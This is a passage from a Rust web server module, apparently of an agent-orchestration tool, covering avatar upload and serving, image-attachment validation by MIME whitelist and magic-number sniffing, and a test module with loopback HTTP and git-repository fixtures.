10885    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
10886    let temp = home.join(format!(".magi-icon-{token}.tmp"));
10887    let result = (|| -> Result<()> {
10888        use std::io::Write;
10889        let mut file = std::fs::OpenOptions::new()
10890            .write(true)
10891            .create_new(true)
10892            .open(&temp)?;
10893        file.write_all(icon.as_bytes())?;
10894        file.sync_all()?;
10895        std::fs::rename(&temp, path)?;
10896        Ok(())
10897    })();
10898    let _ = std::fs::remove_file(temp);
10899    result?;
10900    Ok(())
10901}
10902
10903async fn magi_icon_put(
10904    State(ui): State<Arc<Ui>>,
10905    Json(upload): Json<MagiIconUpload>,
10906) -> ApiResult<Json<serde_json::Value>> {
10907    blocking(move || {
10908        if !upload.icon.starts_with("data:") {
10909            return Err(ApiError::bad_request("upload a raster image"));
10910        }
10911        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
10912        if sniffed_mime(&bytes) != Some(mime) {
10913            return Err(ApiError::bad_request(
10914                "image content does not match its type",
10915            ));
10916        }
10917        save_magi_icon(&ui.home, &upload.icon)?;
10918        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10919    })
10920    .await
10921}
10922
10923async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
10924    blocking(move || {
10925        match std::fs::remove_file(magi_icon_path(&ui.home)) {
10926            Ok(()) => (),
10927            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10928            Err(e) => return Err(anyhow::Error::from(e).into()),
10929        }
10930        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10931    })
10932    .await
10933}
10934
10935async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10936    let icon = (q.builtin.is_none())
10937        .then(|| read_magi_icon(&ui.home))
10938        .flatten();
10939    let mut response = match icon
10940        .as_deref()
10941        .and_then(|icon| persona_icon::load(icon).ok())
10942    {
10943        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10944            attachment_response(mime, bytes)
10945        }
10946        _ => svg_avatar(persona_icon::magi_svg()),
10947    };
10948    response
10949        .headers_mut()
10950        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10951    response
10952}
10953
10954/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
10955/// operator's raster `icon` when it resolves and its bytes agree with its
10956/// type, the built-in SVG otherwise. Display only; every failure is a warning
10957/// and the built-in avatar, never an error response.
10958async fn talk_avatar(
10959    State(ui): State<Arc<Ui>>,
10960    Path(id): Path<String>,
10961    Query(q): Query<AvatarQuery>,
10962) -> ApiResult<Response> {
10963    blocking(move || {
10964        let id = resolve_talk(&ui.talks, &id)?;
10965        let talk = ui.talks.get(&id)?;
10966        let wanted = q
10967            .persona
10968            .as_deref()
10969            .map(str::trim)
10970            .filter(|p| !p.is_empty())
10971            .unwrap_or(&talk.persona)
10972            .to_owned();
10973        let specs = match Config::discover(&talk.repo, None) {
10974            Ok((cfg, _)) => cfg.talk.personas,
10975            Err(e) => {
10976                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
10977                Vec::new()
10978            }
10979        };
10980        let found = persona::find(&specs, &wanted);
10981        // Stored blank IDs are the plain voice, whose canonical ID is `default`.
10982        let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
10983        let icon = effective_persona_icon(
10984            &ui.home,
10985            &wanted,
10986            found.as_ref().and_then(|p| p.icon.as_deref()),
10987        );
10988        if found.is_none() && icon.is_none() {
10989            return Ok(builtin_avatar(persona::DEFAULT_ID));
10990        }
10991        let Some(icon) = icon
10992            .as_deref()
10993            .filter(|icon| !icon.is_empty() && q.builtin.is_none())
10994        else {
10995            return Ok(builtin_avatar(&wanted));
10996        };
10997        let Some(found) = found else {
10998            return Ok(raster_or_builtin(
10999                Some(icon),
11000                persona_icon::builtin_svg(&wanted),
11001            ));
11002        };
11003        match persona_icon::load(icon) {
11004            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
11005                let mut res = attachment_response(mime, bytes);
11006                res.headers_mut().insert(
11007                    header::CACHE_CONTROL,
11008                    header::HeaderValue::from_static("no-cache"),
11009                );
11010                Ok(res)
11011            }
11012            Ok((mime, _)) => {
11013                tracing::warn!(
11014                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
11015                    found.id
11016                );
11017                Ok(builtin_avatar(&found.id))
11018            }
11019            Err(e) => {
11020                tracing::warn!(
11021                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
11022                    found.id
11023                );
11024                Ok(builtin_avatar(&found.id))
11025            }
11026        }
11027    })
11028    .await
11029}
11030
11031/// Validate an attachment upload's declared `Content-Type` and the bytes
11032/// themselves, returning the canonical mime on success.
11033///
11034/// Two checks, both required: the header has to name one of
11035/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
11036/// simply never in the list, active content rather than a picture, the same
11037/// exclusion [`asset_content_type`]'s doc explains), and the file's own
11038/// magic number has to agree. The second is what stops a mislabeled upload -
11039/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
11040/// a declared type is a claim, not a fact, so it is never trusted alone.
11041fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
11042    if data.len() > ATTACHMENT_MAX_BYTES {
11043        return Err(ApiError::bad_request(format!(
11044            "attachment is {} bytes, over the {} MiB limit",
11045            data.len(),
11046            ATTACHMENT_MAX_BYTES / (1024 * 1024)
11047        ))
11048        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
11049    }
11050    if data.is_empty() {
11051        return Err(ApiError::bad_request("attachment is empty"));
11052    }
11053    let declared = declared_mime(headers)?;
11054    match sniffed_mime(data) {
11055        Some(sniffed) if sniffed == declared => Ok(declared),
11056        Some(sniffed) => Err(ApiError::bad_request(format!(
11057            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
11058        ))),
11059        None => Err(ApiError::bad_request(
11060            "the file's bytes do not match any accepted image format",
11061        )),
11062    }
11063}
11064
11065/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
11066/// and nothing else - parameters like `; charset=` are stripped, but the
11067/// value itself is not otherwise interpreted.
11068fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
11069    let raw = headers
11070        .get(header::CONTENT_TYPE)
11071        .and_then(|v| v.to_str().ok())
11072        .unwrap_or("")
11073        .split(';')
11074        .next()
11075        .unwrap_or("")
11076        .trim()
11077        .to_ascii_lowercase();
11078    ATTACHMENT_MIME_WHITELIST
11079        .iter()
11080        .find(|&&m| m == raw)
11081        .copied()
11082        .ok_or_else(|| {
11083            if raw == "image/svg+xml" {
11084                ApiError::bad_request(
11085                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
11086                     not just a picture",
11087                )
11088            } else if raw.is_empty() {
11089                ApiError::bad_request("Content-Type is required for an attachment upload")
11090            } else {
11091                ApiError::bad_request(format!(
11092                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
11093                     image/gif or image/webp"
11094                ))
11095            }
11096        })
11097}
11098
11099/// Identify an image by its magic number, independent of whatever
11100/// `Content-Type` claimed.
11101fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
11102    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
11103        Some("image/png")
11104    } else if data.starts_with(b"\xff\xd8\xff") {
11105        Some("image/jpeg")
11106    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
11107        Some("image/gif")
11108    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
11109        Some("image/webp")
11110    } else {
11111        None
11112    }
11113}
11114
11115/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
11116/// display - see [`talk::Attachment::name`]'s doc on why it never
11117/// contributes to a path. A missing or blank header (curl without it, an
11118/// older front end) falls back to a generic name rather than refusing the
11119/// upload over a field that is cosmetic.
11120fn filename_header(headers: &HeaderMap) -> String {
11121    headers
11122        .get(FILENAME_HEADER)
11123        .and_then(|v| v.to_str().ok())
11124        .map(str::trim)
11125        .filter(|s| !s.is_empty())
11126        .unwrap_or("attachment")
11127        .to_owned()
11128}
11129
11130/// Every attachment `GET` response: the mime re-validated against the same
11131/// closed whitelist the upload route enforces - never the string trusted
11132/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
11133/// cannot decide it knows better than the type we send. Unlike a panel asset
11134/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
11135/// document renders inline, not agent-authored HTML in a sandboxed frame.
11136fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
11137    let content_type = ATTACHMENT_MIME_WHITELIST
11138        .iter()
11139        .find(|&&m| m == mime)
11140        .copied()
11141        .unwrap_or("application/octet-stream");
11142    (
11143        [
11144            (header::CONTENT_TYPE, content_type),
11145            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
11146        ],
11147        body,
11148    )
11149        .into_response()
11150}
11151
11152/// The configuration for a repository, read off the disk for this request.
11153///
11154/// Through [`blocking`] because discovery reads and merges several TOML files,
11155/// and because the alternative - caching it in [`Ui`] at startup - would mean
11156/// the operator's phone kept interviewing with a roster they had already
11157/// changed, with no way to reload it but restarting the server they are not
11158/// sitting in front of.
11159async fn config_for(repo: &FsPath) -> ApiResult<Config> {
11160    let repo = repo.to_path_buf();
11161    blocking(move || {
11162        let (cfg, _) = Config::discover(&repo, None)?;
11163        Ok(cfg)
11164    })
11165    .await
11166}
11167
11168/// The one prefix rule, used for both runs and tasks: a leading match for a
11169/// full id, a trailing match for the short form an operator reads off a
11170/// report. Written here rather than borrowed from `queue::resolve_id` because
11171/// the UI needs the two failures as different status codes, and telling them
11172/// apart from an error message is not something to build a route on.
11173fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
11174    let mut hits = ids
11175        .into_iter()
11176        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
11177    match (hits.next(), hits.next()) {
11178        (Some(one), None) => Ok(one),
11179        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
11180        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
11181            "`{prefix}` matches more than one {what}, including {a} and {b}"
11182        ))),
11183    }
11184}
11185
11186#[cfg(test)]
11187mod tests {
11188
11189    #[test]
11190    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
11191        let dir = tempfile::tempdir().unwrap();
11192        let store = ask::Questions::at(dir.path().join("questions"));
11193        let mut q = Question::new(
11194            "task".to_owned(),
11195            "conduct".to_owned(),
11196            "conduct".to_owned(),
11197            "choose".to_owned(),
11198            String::new(),
11199            vec!["keep".to_owned()],
11200        );
11201        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
11202        q.say("why?").unwrap();
11203        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
11204        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11205        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11206        store.put(&mut q).unwrap();
11207        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11208        assert_eq!(store.count_needs_owner(), 1);
11209        store.beat(&q.id, ask::WaiterKind::Deputy);
11210        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11211        assert_eq!(store.count_needs_owner(), 0);
11212        let mut stale = store.read_lease(&q.id).unwrap();
11213        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
11214        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
11215        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
11216        assert!(view.deputy_exhausted);
11217        assert!(view.waiting_on_agent);
11218        assert_eq!(view.question.choices, ["keep"]);
11219        store.drop_lease(&q.id);
11220        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
11221        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
11222    }
11223
11224    #[test]
11225    fn holder_reads_the_lease_not_the_record() {
11226        let mut q = Question::new(
11227            "run".to_owned(),
11228            "implement".to_owned(),
11229            "impl-A".to_owned(),
11230            "which?".to_owned(),
11231            String::new(),
11232            Vec::new(),
11233        );
11234        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
11235        q.cwd = Some("/tmp".to_owned());
11236        assert_eq!(holder_of(&q, None), Some("nobody"));
11237        let beat = |kind, ago: i64| ask::Lease {
11238            kind,
11239            pid: 1,
11240            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
11241                .unwrap(),
11242        };
11243        let fresh = beat(ask::WaiterKind::Asker, 1);
11244        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
11245        let daemon = beat(ask::WaiterKind::Daemon, 1);
11246        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
11247        let stale = beat(ask::WaiterKind::Asker, 3600);
11248        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
11249
11250        // A conductor question says "deputy" only while one is attached and
11251        // alive, and "nobody" - never silence - when nothing ever listened.
11252        let mut c = Question::new(
11253            "task".to_owned(),
11254            crate::conduct::NODE.to_owned(),
11255            "conduct".to_owned(),
11256            "which?".to_owned(),
11257            String::new(),
11258            Vec::new(),
11259        );
11260        assert_eq!(holder_of(&c, None), Some("nobody"));
11261        c.cwd = Some("/tmp".to_owned());
11262        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
11263        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
11264        let deputy = beat(ask::WaiterKind::Deputy, 1);
11265        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
11266        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
11267
11268        // A release-watch question: nobody until a deputy is attached.
11269        let mut r = Question::new(
11270            String::new(),
11271            crate::bump::NOTICE_NODE.to_owned(),
11272            "release-watch".to_owned(),
11273            "stuck?".to_owned(),
11274            String::new(),
11275            vec!["hold".to_owned()],
11276        );
11277        assert_eq!(holder_of(&r, None), Some("nobody"));
11278        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
11279        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
11280        // A choice-less bump notice is nobody's question at all.
11281        r.deputy = None;
11282        r.seat = "bump".to_owned();
11283        assert_eq!(holder_of(&r, None), None);
11284
11285        // A merge approval is the same: nobody until a deputy is attached
11286        // and alive, never a silent "no holder".
11287        let mut m = Question::new(
11288            "run".to_owned(),
11289            crate::land::APPROVAL_NODE.to_owned(),
11290            "land".to_owned(),
11291            "merge?".to_owned(),
11292            String::new(),
11293            Vec::new(),
11294        );
11295        assert_eq!(holder_of(&m, None), Some("nobody"));
11296        assert_eq!(
11297            holder_of(&m, Some(&fresh)),
11298            Some("asker"),
11299            "a live explicit wait is a listener even before a deputy is attached"
11300        );
11301        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
11302        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
11303        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
11304        assert_eq!(holder_of(&m, None), Some("nobody"));
11305    }
11306
11307    fn stub_config() -> Config {
11308        // An explicit roster, so the result never depends on which agent CLIs
11309        // this machine has installed.
11310        Config {
11311            agents: vec![crate::config::AgentSpec {
11312                id: "stub".to_owned(),
11313                kind: AgentKind::Command,
11314                model: None,
11315                command: vec!["true".to_owned()],
11316                extra_args: Vec::new(),
11317                env: Default::default(),
11318                prompt_delivery: None,
11319                max_turn_secs: None,
11320            }],
11321            ..Config::default()
11322        }
11323    }
11324
11325    fn plain_question(seat: &str) -> Question {
11326        Question::new(
11327            String::new(),
11328            "n".to_owned(),
11329            seat.to_owned(),
11330            "s".to_owned(),
11331            String::new(),
11332            Vec::new(),
11333        )
11334    }
11335
11336    #[test]
11337    fn deputies_enabled_follows_the_config() {
11338        let on = stub_config();
11339        assert!(crate::deputy::can_start(Some(&on), ""));
11340        assert!(crate::deputy::can_start(Some(&on), "stub"));
11341        let mut off = on.clone();
11342        off.daemon.max_deputies = 0;
11343        assert!(!crate::deputy::can_start(Some(&off), ""));
11344        let mut empty = on;
11345        empty.agents.clear();
11346        assert!(!crate::deputy::can_start(Some(&empty), ""));
11347        assert!(!crate::deputy::can_start(None, ""));
11348    }
11349
11350    #[test]
11351    fn question_views_load_the_config_once() {
11352        let dir = TempDir::new().unwrap();
11353        let store = ask::Questions::at(dir.path().to_path_buf());
11354        let mut with_deputy = plain_question("b");
11355        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
11356        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
11357
11358        let calls = std::cell::Cell::new(0usize);
11359        let views = question_views(qs.clone(), &store, || {
11360            calls.set(calls.get() + 1);
11361            Some(stub_config())
11362        });
11363        assert_eq!(calls.get(), 1);
11364        assert_eq!(views.len(), 3);
11365        for (v, q) in views.iter().zip(&qs) {
11366            assert_eq!(
11367                v.deputies_enabled,
11368                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
11369            );
11370        }
11371
11372        let views = question_views(qs, &store, || None);
11373        assert!(views.iter().all(|v| !v.deputies_enabled));
11374
11375        let calls = std::cell::Cell::new(0usize);
11376        let views = question_views(Vec::new(), &store, || {
11377            calls.set(calls.get() + 1);
11378            None
11379        });
11380        assert!(views.is_empty());
11381        assert_eq!(calls.get(), 0);
11382    }
11383
11384    use pretty_assertions::assert_eq;
11385    use serde_json::Value;
11386    use tempfile::TempDir;
11387    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
11388
11389    use super::*;
11390    use crate::config::Config;
11391    use crate::queue::Source;
11392
11393    /// How many 10ms steps a settle loop takes before it calls a stall a
11394    /// stall - thirty seconds.
11395    ///
11396    /// These loops wait on real `sh` subprocesses, and the machine that runs
11397    /// the gate runs several suites at once, so a two-second budget was not
11398    /// waiting for the reply, it was racing the scheduler: two of these
11399    /// tests failed under that load with the turn simply not landed yet.
11400    /// This is a hang guard, not a latency assertion - every loop breaks the
11401    /// moment its condition holds, so a generous cap costs an idle machine
11402    /// nothing and still fails a genuine hang instead of hanging the suite.
11403    const SETTLE_STEPS: usize = 3_000;
11404
11405    /// A home with a queue and a runs directory, and a router serving it on
11406    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
11407    /// dependency, not ours - so the tests drive a real socket, which has the
11408    /// side benefit of asserting the status line and content types the phone
11409    /// actually receives.
11410    struct Fixture {
11411        home: TempDir,
11412        addr: SocketAddr,
11413    }
11414
11415    impl Fixture {
11416        async fn start() -> Self {
11417            Self::with_loop(launch_idle).await
11418        }
11419
11420        /// A fixture whose loop is `launch`.
11421        async fn with_loop(launch: Launch) -> Self {
11422            let home = TempDir::new().expect("temp home");
11423            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
11424            Self { home, addr }
11425        }
11426
11427        /// A fixture whose `ui.repo` is a real directory rather than the
11428        /// usual placeholder - for the routes that read config off it
11429        /// (`GET /api/repos`) and would otherwise have nothing to discover.
11430        async fn with_repo(repo: PathBuf) -> Self {
11431            let home = TempDir::new().expect("temp home");
11432            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
11433            Self { home, addr }
11434        }
11435
11436        /// As [`Fixture::with_repo`], with the machine-config file the
11437        /// settings screen reads and writes.
11438        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
11439            let home = TempDir::new().expect("temp home");
11440            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
11441            Self { home, addr }
11442        }
11443
11444        async fn serve(
11445            home: &FsPath,
11446            repo: PathBuf,
11447            launch: Launch,
11448            machine: Option<PathBuf>,
11449        ) -> SocketAddr {
11450            let queue = Queue::at(home.join("queue"));
11451            let runs = home.join("runs");
11452            std::fs::create_dir_all(&runs).expect("runs dir");
11453            let worktrees = home.join("wt").join("magi");
11454            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
11455            let ui = Ui::new(
11456                queue,
11457                Questions::at(home.join("questions")),
11458                Talks::at(home.join("talks")),
11459                runs,
11460                home.to_path_buf(),
11461                repo,
11462            )
11463            .with_worktrees_root(worktrees)
11464            .with_machine_config(machine)
11465            .with_launch(launch);
11466            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11467                .await
11468                .expect("bind loopback");
11469            let addr = listener.local_addr().expect("local addr");
11470            tokio::spawn(async move {
11471                let router = ui
11472                    .router()
11473                    .layer(axum::middleware::from_fn(request_cost::observe));
11474                let _ = axum::serve(listener, router).await;
11475            });
11476            addr
11477        }
11478
11479        fn queue(&self) -> Queue {
11480            Queue::at(self.home.path().join("queue"))
11481        }
11482
11483        fn questions(&self) -> Questions {
11484            Questions::at(self.home.path().join("questions"))
11485        }
11486
11487        fn talks(&self) -> Talks {
11488            Talks::at(self.home.path().join("talks"))
11489        }
11490
11491        fn runs(&self) -> PathBuf {
11492            self.home.path().join("runs")
11493        }
11494
11495        async fn get(&self, path: &str) -> Res {
11496            request(self.addr, "GET", path, None).await
11497        }
11498
11499        /// The status and headers without the body, which is how the front end
11500        /// preflights a panel: a sandboxed frame is opaque to the parent
11501        /// document, so the only way to tell "no panel" from "a panel that
11502        /// rendered blank" is to ask before mounting.
11503        async fn head(&self, path: &str) -> Res {
11504            request(self.addr, "HEAD", path, None).await
11505        }
11506
11507        async fn post(&self, path: &str, body: Option<&str>) -> Res {
11508            request(self.addr, "POST", path, body).await
11509        }
11510
11511        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
11512            request_with(self.addr, "GET", path, None, extra).await
11513        }
11514
11515        async fn delete(&self, path: &str) -> Res {
11516            request(self.addr, "DELETE", path, None).await
11517        }
11518
11519        async fn put(&self, path: &str, body: &str) -> Res {
11520            request(self.addr, "PUT", path, Some(body)).await
11521        }
11522
11523        /// `POST` a raw body with its own headers - see [`request_bytes`].
11524        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
11525            request_bytes(self.addr, path, headers, body).await
11526        }
11527    }
11528
11529    /// Real tracking refs exercise the successful discovery path (including
11530    /// extraction), rather than counting cheap failures on a placeholder repo.
11531    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
11532        let tmp = TempDir::new().unwrap();
11533        let mut repos = Vec::new();
11534        for name in ["one", "two"] {
11535            let repo = tmp.path().join(name);
11536            let origin = tmp.path().join(format!("{name}.git"));
11537            std::fs::create_dir_all(&repo).unwrap();
11538            crate::git::git(&repo, &["init", "-b", "main"])
11539                .await
11540                .unwrap();
11541            std::fs::write(
11542                repo.join("magi.toml"),
11543                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
11544            )
11545            .unwrap();
11546            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
11547            crate::git::git(
11548                &repo,
11549                &[
11550                    "-c",
11551                    "user.name=fixture",
11552                    "-c",
11553                    "user.email=fixture@example.invalid",
11554                    "commit",
11555                    "-m",
11556                    "fixture",
11557                ],
11558            )
11559            .await
11560            .unwrap();
11561            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
11562                .await
11563                .unwrap();
11564            crate::git::git(
11565                &repo,
11566                &["remote", "add", "origin", origin.to_str().unwrap()],
11567            )
11568            .await
11569            .unwrap();
11570            crate::git::git(&repo, &["push", "origin", "main"])
11571                .await
11572                .unwrap();
11573            crate::git::git(
11574                &repo,
11575                &[
11576                    "symbolic-ref",
11577                    "refs/remotes/origin/HEAD",
11578                    "refs/remotes/origin/main",
11579                ],
11580            )
11581            .await
11582            .unwrap();
11583            let (cfg, _) = Config::discover(&repo, None).unwrap();
11584            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
11585            repos.push(repo);
11586        }
11587        let repos: [PathBuf; 2] = repos.try_into().unwrap();
11588        (tmp, repos)
11589    }
11590
11591    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
11592        let (tmp, repos) = performance_repositories().await;
11593        let machine = tmp.path().join("machine.toml");
11594        std::fs::write(&machine, "").unwrap();
11595        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
11596        (tmp, repos, fx)
11597    }
11598
11599    fn seed_performance(
11600        fx: &Fixture,
11601        repos: &[PathBuf; 2],
11602        questions: usize,
11603        runs: usize,
11604        items: usize,
11605    ) {
11606        // Saving states directly never starts a run or changes MAGI_HOME.
11607        for i in fx.questions().list().len()..questions {
11608            let mut question = Question::new(
11609                "20261001-000000-0000".into(),
11610                "implement".into(),
11611                "impl-A".into(),
11612                format!("question {i}"),
11613                "context".into(),
11614                vec!["yes".into(), "no".into()],
11615            );
11616            question.id = format!("20261003-000000-{i:04x}");
11617            fx.questions().put(&mut question).unwrap();
11618        }
11619        for i in run_ids(&fx.runs()).len()..runs {
11620            write_run_repo(
11621                &fx.runs(),
11622                &format!("20261001-000000-{i:04x}"),
11623                RunStatus::Ready,
11624                repos[i % 2].to_str().unwrap(),
11625            );
11626        }
11627        for i in fx.talks().list().len()..items {
11628            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
11629            let mut talk = fx.talks().get(&id).unwrap();
11630            talk.repo = repos[i % 2].clone();
11631            fx.talks().put(&mut talk).unwrap();
11632            let mut task = crate::queue::Task::new(
11633                format!("task {i}"),
11634                "instruction".into(),
11635                repos[i % 2].clone(),
11636                crate::queue::Source::Agent {
11637                    run: id,
11638                    node: crate::queue::CHAT_NODE.into(),
11639                },
11640            );
11641            task.id = format!("20261004-000000-{i:04x}");
11642            fx.queue().put(&mut task).unwrap();
11643            // Notices has a production retention cap; seed up to that cap.
11644            if i < crate::notices::CAP {
11645                Notices::at(fx.home.path().join("notifications"))
11646                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
11647                    .unwrap();
11648            }
11649        }
11650        assert_eq!(fx.questions().list().len(), questions);
11651        assert_eq!(run_ids(&fx.runs()).len(), runs);
11652        assert_eq!(fx.talks().list().len(), items);
11653        assert_eq!(fx.queue().list().len(), items);
11654        assert_eq!(
11655            Notices::at(fx.home.path().join("notifications"))
11656                .list()
11657                .len(),
11658            items.min(crate::notices::CAP)
11659        );
11660    }
11661
11662    #[tokio::test]
11663    async fn source_eviction_web_diffs_survive_repository_removal_and_reject_corruption() {
11664        let home = TempDir::new().unwrap();
11665        let root = home.path().canonicalize().unwrap();
11666        let addr = Fixture::serve(&root, root.join("repo"), launch_idle, None).await;
11667        let fx = Fixture { home, addr };
11668        let repo = root.as_path().join("archive-repo");
11669        std::fs::create_dir(&repo).unwrap();
11670        crate::git::git(&repo, &["init", "-b", "main"])
11671            .await
11672            .unwrap();
11673        crate::git::git(&repo, &["config", "user.name", "Fixture"])
11674            .await
11675            .unwrap();
11676        crate::git::git(&repo, &["config", "user.email", "fixture@example.invalid"])
11677            .await
11678            .unwrap();
11679        crate::git::git(&repo, &["config", "commit.gpgsign", "false"])
11680            .await
11681            .unwrap();
11682        std::fs::write(repo.join("source"), "base").unwrap();
11683        crate::git::git(&repo, &["add", "."]).await.unwrap();
11684        crate::git::git(&repo, &["commit", "-m", "base"])
11685            .await
11686            .unwrap();
11687        let base = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11688        std::fs::write(repo.join("source"), "archived review").unwrap();
11689        crate::git::git(&repo, &["commit", "-am", "review"])
11690            .await
11691            .unwrap();
11692        let head = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11693        let mut config = Config::default();
11694        config.graph.worktree_root = Some(root.as_path().join("copies"));
11695        let mut state = RunState::new(
11696            repo.clone(),
11697            "main".into(),
11698            base.clone(),
11699            "archive".into(),
11700            config,
11701        );
11702        state.id = "20260101-000000-ef05".into();
11703        state.status = RunStatus::Ready;
11704        state.save_under(root.as_path()).unwrap();
11705        let evidence =
11706            crate::fold_evidence::snapshot(&state, root.as_path(), &head, 64 * 1024 * 1024)
11707                .await
11708                .unwrap();
11709        let base_evidence =
11710            crate::fold_evidence::snapshot(&state, root.as_path(), &base, 64 * 1024 * 1024)
11711                .await
11712                .unwrap();
11713        let source = state.worktree_root().join("review-1");
11714        let mut contents = std::collections::BTreeMap::new();
11715        contents.insert(
11716            repo.join("logs/HEAD"),
11717            format!("{base} {head} fixture\n").into_bytes(),
11718        );
11719        let record = serde_json::json!({
11720            "version":1, "run":state.id, "source":source, "head":head,
11721            "evidence":evidence, "admin":{}, "admin_contents":contents,
11722            "history":{base:base_evidence, head.clone():evidence}, "phase":"evicted"
11723        });
11724        std::fs::write(
11725            fx.runs()
11726                .join(&state.id)
11727                .join("artifacts/eviction-review-1.json"),
11728            serde_json::to_vec(&record).unwrap(),
11729        )
11730        .unwrap();
11731        std::fs::remove_dir_all(&repo).unwrap();
11732        let url = format!("/api/runs/{}/seat-evidence", state.id);
11733        let list = fx.get(&url).await;
11734        assert_eq!(list.status, 200, "{}", list.body);
11735        assert_eq!(list.json()[&head], "review-1");
11736        let patch = fx.get(&format!("{url}/{head}")).await;
11737        assert_eq!(patch.status, 200, "{}", patch.body);
11738        assert!(patch.body.contains("+archived review"));
11739        assert_eq!(fx.get(&format!("{url}/unknown")).await.status, 404);
11740        std::fs::write(evidence.join("objects.pack"), "corrupt").unwrap();
11741        assert_eq!(fx.get(&url).await.status, 404);
11742        assert_eq!(fx.get(&format!("{url}/{head}")).await.status, 404);
11743    }
11744
11745    fn request_counts(res: &Res) -> (usize, usize) {
11746        assert_eq!(res.status, 200, "{}", res.body);
11747        (
11748            res.header("x-test-discoveries").unwrap().parse().unwrap(),
11749            res.header("x-test-git").unwrap().parse().unwrap(),
